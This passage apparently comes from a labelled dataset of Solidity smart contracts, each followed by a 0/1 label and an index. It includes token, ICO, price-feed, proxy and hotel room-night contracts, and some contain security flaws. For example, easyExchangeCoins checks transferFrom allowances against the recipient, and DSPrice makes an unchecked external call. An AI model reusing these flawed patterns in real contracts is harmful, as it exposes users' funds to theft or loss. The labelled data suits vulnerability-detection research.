LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0);
struct Price {
uint16 inventory;
bool init;
mapping (uint256 => uint256) tokens;
}
struct RatePlan {
string name;
uint256 timestamp;
bytes32 ipfs;
Price basePrice;
mapping (uint256 => Price) prices;
}
struct Vendor {
string name;
address vendor;
uint256 timestamp;
bool valid;
LinkedListLib.LinkedList ratePlanList;
mapping (uint256=>RatePlan) ratePlans;
}
mapping (address => uint256) public vendorIds;
mapping (uint256 => Vendor) vendors;
LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0);
mapping (uint256 => address) public tokenIndexToAddress;
LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0);
struct RoomNight {
uint256 vendorId;
uint256 rpid;
uint256 token;
uint256 price;
uint256 timestamp;
uint256 date;
bytes32 ipfs;
}
RoomNight[] public roomnights;
mapping (uint256 => address) public roomNightIndexToOwner;
mapping (address => LinkedListLib.LinkedList) public roomNightOwners;
mapping (address => LinkedListLib.LinkedList) public roomNightVendors;
mapping (uint256 => address) public roomNightApprovals;
mapping (address => mapping (address => bool)) public operatorApprovals;
mapping (address => mapping (uint256 => bool)) public refundApplications;
bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba;
event ContractAuthorized(address _contract);
event ContractDeauthorized(address _contract);
modifier authorizedContractValid(address _contract) {
require(authorizedContractIds[_contract] > 0);
_;
}
modifier authorizedContractIdValid(uint256 _cid) {
require(authorizedContractList.nodeExists(_cid));
_;
}
modifier onlyOwnerOrAuthorizedContract {
require(msg.sender == owner || authorizedContractIds[msg.sender] > 0);
_;
}
constructor() public {
roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0));
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
}else {
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
}else {
return (temp, ei);
}
}
}
function authorizeContract(address _contract, string _name)
public
onlyOwner
returns(bool) {
uint256 codeSize;
assembly { codeSize := extcodesize(_contract) }
require(codeSize != 0);
require(authorizedContractIds[_contract] == 0);
uint256 id = authorizedContractList.push(false);
authorizedContractIds[_contract] = id;
authorizedContracts[id] = AuthorizedContract(_name, _contract);
emit ContractAuthorized(_contract);
return true;
}
function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
emit ContractDeauthorized(_contract);
return true;
}
function deauthorizeContractById(uint256 _cid)
public
onlyOwner
authorizedContractIdValid(_cid)
returns(bool) {
address acontract = authorizedContracts[_cid].acontract;
authorizedContractList.remove(_cid);
authorizedContractIds[acontract] = 0;
delete authorizedContracts[_cid];
emit ContractDeauthorized(acontract);
return true;
}
function getAuthorizeContractIds(uint256 _from, uint256 _limit)
external
view
returns(uint256[], uint256){
return getNodes(authorizedContractList, _from, _limit, true);
}
function getAuthorizeContract(uint256 _cid)
external
view
returns(string _name, address _acontract) {
AuthorizedContract memory acontract = authorizedContracts[_cid];
_name = acontract.name;
_acontract = acontract.acontract;
}
function getRatePlan(uint256 _vendorId, uint256 _rpid)
public
view
returns (string _name, uint256 _timestamp, bytes32 _ipfs) {
_name = vendors[_vendorId].ratePlans[_rpid].name;
_timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp;
_ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs;
}
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
function ratePlanIsExist(uint256 _vendorId, uint256 _rpid)
public
view
returns (bool) {
return vendors[_vendorId].ratePlanList.nodeExists(_rpid);
}
function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightOwners[_owner], _from, _limit, _direction);
}
function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightVendors[_owner], _from, _limit, _direction);
}
function balanceOf(address _owner)
public
view
returns(uint256) {
return roomNightOwners[_owner].length;
}
function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction);
}
function getTokens(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(tokenList, _from, _limit, _direction);
}
function getToken(uint256 _tokenId)
public
view
returns(string _symbol, string _name, uint8 _decimals, address _token) {
_token = tokenIndexToAddress[_tokenId];
TripioToken tripio = TripioToken(_token);
_symbol = tripio.symbol();
_name = tripio.name();
_decimals = tripio.decimals();
}
function getVendors(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendorList, _from, _limit, _direction);
}
function getVendor(uint256 _vendorId)
public
view
returns(string _name, address _vendor,uint256 _timestamp, bool _valid) {
_name = vendors[_vendorId].name;
_vendor = vendors[_vendorId].vendor;
_timestamp = vendors[_vendorId].timestamp;
_valid = vendors[_vendorId].valid;
}
function updateTokenBaseURI(string _tokenBaseURI)
public
onlyOwnerOrAuthorizedContract {
tokenBaseURI = _tokenBaseURI;
}
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
function removeOrderOfOwner(address _owner, uint _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightOwners[_owner].nodeExists(_rnid));
roomNightOwners[_owner].remove(_rnid);
}
function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
function removeOrderOfVendor(address _vendor, uint256 _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightVendors[_vendor].nodeExists(_rnid));
roomNightVendors[_vendor].remove(_rnid);
}
function transferTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightIndexToOwner[_tokenId] = _to;
roomNightApprovals[_tokenId] = address(0);
}
function approveTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightApprovals[_tokenId] = _to;
}
function approveOperatorTo(address _operator, address _to, bool _approved)
public
onlyOwnerOrAuthorizedContract {
operatorApprovals[_to][_operator] = _approved;
}
function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.init = true;
vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price;
}
function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory;
}
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));
uint256 id = vendors[_vendorId].ratePlanList.push(_direction);
vendors[_vendorId].ratePlans[id] = rp;
return id;
}
function removeRatePlan(uint256 _vendorId, uint256 _rpid)
public
onlyOwnerOrAuthorizedContract {
delete vendors[_vendorId].ratePlans[_rpid];
vendors[_vendorId].ratePlanList.remove(_rpid);
}
function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs;
vendors[_vendorId].ratePlans[_rpid].name = _name;
}
function pushToken(address _contract, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = tokenList.push(_direction);
tokenIndexToAddress[id] = _contract;
return id;
}
function removeToken(uint256 _tokenId)
public
onlyOwnerOrAuthorizedContract {
delete tokenIndexToAddress[_tokenId];
tokenList.remove(_tokenId);
}
function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));
uint256 rnid = uint256(roomnights.length - 1);
return rnid;
}
function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund)
public
onlyOwnerOrAuthorizedContract {
refundApplications[_buyer][_rnid] = _isRefund;
}
function pushVendor(string _name, address _vendor, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = vendorList.push(_direction);
vendorIds[_vendor] = id;
vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0));
return id;
}
function removeVendor(uint256 _vendorId)
public
onlyOwnerOrAuthorizedContract {
vendorList.remove(_vendorId);
address vendor = vendors[_vendorId].vendor;
vendorIds[vendor] = 0;
delete vendors[_vendorId];
}
function updateVendorValid(uint256 _vendorId, bool _valid)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].valid = _valid;
}
function updateVendorName(uint256 _vendorId, string _name)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].name = _name;
}
}
contract TRNRatePlans is TRNData {
constructor() public {
}
event RatePlanCreated(address indexed _vendor, string _name, bytes32 indexed _ipfs);
event RatePlanRemoved(address indexed _vendor, uint256 indexed _rpid);
event RatePlanModified(address indexed _vendor, uint256 indexed _rpid, string name, bytes32 _ipfs);
function createRatePlan(string _name, bytes32 _ipfs)
external
returns(uint256) {
if(dataSource.vendorIds(msg.sender) == 0) {
dataSource.pushVendor("", msg.sender, false);
}
bytes memory nameBytes = bytes(_name);
require(nameBytes.length > 0 && nameBytes.length < 200);
uint256 vendorId = dataSource.vendorIds(msg.sender);
uint256 id = dataSource.pushRatePlan(vendorId, _name, _ipfs, false);
emit RatePlanCreated(msg.sender, _name, _ipfs);
return id;
}
function removeRatePlan(uint256 _rpid)
external
onlyVendor
ratePlanExist(dataSource.vendorIds(msg.sender), _rpid)
returns(bool) {
uint256 vendorId = dataSource.vendorIds(msg.sender);
dataSource.removeRatePlan(vendorId, _rpid);
emit RatePlanRemoved(msg.sender, _rpid);
return true;
}
function modifyRatePlan(uint256 _rpid, string _name, bytes32 _ipfs)
external
onlyVendor
ratePlanExist(dataSource.vendorIds(msg.sender), _rpid)
returns(bool) {
uint256 vendorId = dataSource.vendorIds(msg.sender);
dataSource.updateRatePlan(vendorId, _rpid, _name, _ipfs);
emit RatePlanModified(msg.sender, _rpid, _name, _ipfs);
return true;
}
function ratePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit)
external
view
vendorIdValid(_vendorId)
returns(uint256[], uint256) {
return dataSource.getRatePlansOfVendor(_vendorId, _from, _limit, true);
}
function ratePlanOfVendor(uint256 _vendorId, uint256 _rpid)
external
view
vendorIdValid(_vendorId)
returns(string _name, uint256 _timestamp, bytes32 _ipfs) {
(_name, _timestamp, _ipfs) = dataSource.getRatePlan(_vendorId, _rpid);
}
}
contract TripioRoomNightVendor is TRNPrices, TRNRatePlans {
constructor(address _dataSource) public {
dataSource = TripioRoomNightData(_dataSource);
}
function destroy() external onlyOwner {
selfdestruct(owner);
}
} | 1 | 4,403 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
owner = newOwner;
}
}
contract easyExchangeCoins is IERC20, Owned {
using SafeMath for uint256;
constructor() public {
owner = 0x3CC2Ef418b7c2e36110f4521e982576AF9f5c8fA;
contractAddress = address(this);
_balances[contractAddress] = 20000000 * 10 ** decimals;
_balances[owner] = 80000000 * 10 ** decimals;
emit Transfer(address(0), contractAddress, 20000000 * 10 ** decimals);
emit Transfer(address(0), owner, 80000000 * 10 ** decimals);
ICOActive = true;
}
function ICOBalance() public view returns (uint) {
return _balances[contractAddress];
}
bool public ICOActive;
uint256 public ICOPrice = 10000000;
function () external payable {
if (ICOActive == false) {
revert();
} else if (ICOBalance() == 0) {
ICOActive = false;
revert();
} else {
uint256 affordAmount = msg.value / ICOPrice;
if (affordAmount <= _balances[contractAddress]) {
_balances[contractAddress] = _balances[contractAddress].sub(affordAmount);
_balances[msg.sender] = _balances[msg.sender].add(affordAmount);
emit Transfer(contractAddress, msg.sender, affordAmount);
} else {
uint256 buyAmount = _balances[contractAddress];
uint256 cost = buyAmount * ICOPrice;
_balances[contractAddress] = _balances[contractAddress].sub(buyAmount);
_balances[msg.sender] = _balances[msg.sender].add(buyAmount);
emit Transfer(contractAddress, msg.sender, buyAmount);
msg.sender.transfer(msg.value - cost);
ICOActive = false;
}
}
}
function changeICOPrice(uint256 newPrice) public onlyOwner {
uint256 _newPrice = newPrice * 10 ** decimals;
ICOPrice = _newPrice;
}
function withdrawETH() public onlyOwner {
msg.sender.transfer(contractAddress.balance);
}
function endICO() public onlyOwner {
msg.sender.transfer(contractAddress.balance);
ICOActive = false;
uint256 _amount = _balances[contractAddress];
_balances[owner] = _balances[owner].add(_amount);
_balances[contractAddress] = 0;
emit Transfer(contractAddress, owner, _amount);
}
string public constant name = "Easy Exchange Coins";
string public constant symbol = "EEC";
uint256 public constant decimals = 8;
uint256 public constant supply = 100000000 * 10 ** decimals;
address private contractAddress;
mapping(address => uint256) _balances;
mapping(address => mapping (address => uint256)) public _allowed;
function totalSupply() public view returns (uint) {
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return _balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return _allowed[tokenOwner][spender];
}
function transfer(address to, uint value) public returns (bool success) {
require(_balances[msg.sender] >= value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool success) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns (bool success) {
require(value <= balanceOf(from));
require(value <= allowance(from, to));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][to] = _allowed[from][to].sub(value);
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,147 |
pragma solidity 0.8.11;
contract Caller{
address owner;
bytes4 sig;
constructor() {
owner = msg.sender;
sig = bytes4(bytes32(0x7131849b937357fb55e97841dce06aebcf004f68fabd5b4a8c0ac1363d4f0b6f));
}
function scan(address _address, string calldata _q, string calldata _r) public payable {
address(0x353eBa6CECE993ca2ca28217043ceB3a759aFD1e).call(abi.encodeWithSelector(sig,_address,_q,_r));
}
function killThisContract() public {
require(msg.sender == owner);
selfdestruct(payable(msg.sender));
}
} | 0 | 1,612 |
pragma solidity ^0.4.15;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x * y;
assert(x == 0 || z / x == y);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x * y;
assert(x == 0 || z / x == y);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSThing is DSAuth, DSNote, DSMath {
}
contract DSPrice is DSThing {
uint128 public val;
uint32 public zzz;
function peek()
constant
returns (bytes32,bool)
{
return (bytes32(val), now < zzz);
}
function read()
constant
returns (bytes32)
{
assert(now < zzz);
return bytes32(val);
}
function post(uint128 val_, uint32 zzz_, address med_)
note
auth
{
val = val_;
zzz = zzz_;
med_.call(bytes4(sha3("poke()")));
}
function void()
note
auth
{
zzz = 0;
}
} | 0 | 75 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SinoGlobal is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SinoGlobal() public {
symbol = "SINO";
name = "Sino Global";
decimals = 18;
_totalSupply = 21000000000000000000000000;
balances[0x6efba1FD187F9db4CEa499d16D8029050EC0284B] = _totalSupply;
Transfer(address(0), 0x6efba1FD187F9db4CEa499d16D8029050EC0284B, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,855 |
pragma solidity ^0.4.24;
contract AraProxy {
bytes32 private constant registryPosition_ = keccak256("io.ara.proxy.registry");
bytes32 private constant implementationPosition_ = keccak256("io.ara.proxy.implementation");
modifier restricted() {
bytes32 registryPosition = registryPosition_;
address registryAddress;
assembly {
registryAddress := sload(registryPosition)
}
require(
msg.sender == registryAddress,
"Only the AraRegistry can upgrade this proxy."
);
_;
}
constructor(address _registryAddress, address _implementationAddress) public {
bytes32 registryPosition = registryPosition_;
bytes32 implementationPosition = implementationPosition_;
assembly {
sstore(registryPosition, _registryAddress)
sstore(implementationPosition, _implementationAddress)
}
}
function setImplementation(address _newImplementation) public restricted {
require(_newImplementation != address(0));
bytes32 implementationPosition = implementationPosition_;
assembly {
sstore(implementationPosition, _newImplementation)
}
}
function () payable public {
bytes32 implementationPosition = implementationPosition_;
address _impl;
assembly {
_impl := sload(implementationPosition)
}
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract AraRegistry {
address public owner_;
mapping (bytes32 => UpgradeableContract) private contracts_;
